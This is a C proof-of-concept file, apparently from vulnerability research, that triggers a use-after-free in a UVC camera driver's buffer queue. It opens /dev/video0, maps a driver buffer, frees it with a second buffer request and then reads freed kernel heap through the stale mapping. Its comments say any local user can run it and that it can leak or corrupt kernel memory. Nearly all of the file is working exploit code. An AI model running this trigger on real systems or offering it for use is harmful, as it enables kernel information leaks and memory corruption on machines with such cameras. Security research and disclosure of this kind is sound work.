DF-1065 / poc_uvc_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-1065 trigger: UVC buffer-queue use-after-free. * * uvc_buf_queue_free_bufs_locked() kfrees bq->mem while userspace still * holds an mmap() of it; the device pager's wired fictitious page keeps * pointing at the now-freed (and slab-reusable) kernel pages. * * Trigger (V4L2 REQBUFS path): * open /dev/video0 -> S_FMT (acquire priority) -> REQBUFS(count=1) -> * mmap + touch (fault in wired fictitious page) -> REQBUFS again (kfree old * bq->mem) -> read/write the mmap'd region => kernel heap UAF. * * PRECONDITION: a UVC camera must be attached so that /dev/video0 exists and * the uvc.ko module is loaded (uvc attaches on device probe). This guest has * NO USB camera and no /dev/video*, so the trigger cannot run here; this file * documents the intended trigger for a HW-equipped host. The bug is confirmed * by source trace (see VERDICT.md). * * build: cc -o poc_uvc_uaf poc_uvc_uaf.c * run: ./poc_uvc_uaf # as any local user (/dev/videoN is 0666) */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> /* Minimal V4L2 definitions (avoid pulling the contrib header path). */ #define V4L2_BUF_TYPE_VIDEO_CAPTURE 1 #define V4L2_MEMORY_MMAP 1 #define VIDIOC_S_FMT 0xC0CC5605U #define VIDIOC_REQBUFS 0xC0CC5608U #define VIDIOC_QUERYBUF 0xC0445624U struct v4l2_format { unsigned char _opaque[2048]; }; struct v4l2_requestbuffers { unsigned int count; unsigned int type; unsigned int memory; unsigned char _reserved[200]; }; struct v4l2_buffer { unsigned int index; unsigned int type; unsigned int bytesused; unsigned int flags; unsigned int field; unsigned long timestamp_tv_sec; unsigned long timestamp_tv_usec; struct { unsigned int a, b; } timecode; unsigned int sequence; unsigned int memory; union { unsigned int offset; unsigned long userptr; } m; unsigned int length; unsigned int reserved2; unsigned int reserved; }; int main(void) { int fd = open("/dev/video0", O_RDWR); if (fd < 0) { perror("open /dev/video0"); return 1; } struct v4l2_format f; memset(&f, 0, sizeof(f)); ioctl(fd, VIDIOC_S_FMT, &f); /* acquire priority */ struct v4l2_requestbuffers rb; memset(&rb, 0, sizeof(rb)); rb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; rb.memory = V4L2_MEMORY_MMAP; rb.count = 1; if (ioctl(fd, VIDIOC_REQBUFS, &rb) < 0) { /* allocate bq->mem */ perror("REQBUFS #1"); return 1; } struct v4l2_buffer b; memset(&b, 0, sizeof(b)); b.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; b.memory = V4L2_MEMORY_MMAP; b.index = 0; if (ioctl(fd, VIDIOC_QUERYBUF, &b) < 0) { /* learn m.offset / length */ perror("QUERYBUF"); return 1; } void *p = mmap(NULL, b.length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, b.m.offset); if (p == MAP_FAILED) { perror("mmap"); return 1; } volatile char c = *(volatile char *)p; /* fault in wired fictitious page */ (void)c; /* Re-enter REQBUFS: uvc_buf_queue_req_bufs calls * uvc_buf_queue_free_bufs_locked() which kfrees the OLD bq->mem that * `p` still maps. */ rb.count = 1; ioctl(fd, VIDIOC_REQBUFS, &rb); /* `p` now references freed kernel heap: info leak (read) / corruption * (write) depending on what the slab allocator reclaims the pages for. */ printf("[*] mmap'd region now references freed kernel heap:\n"); for (unsigned int i = 0; i < b.length && i < 64; i++) printf("%02x ", ((unsigned char *)p)[i]); printf("\n"); close(fd); return 0; } |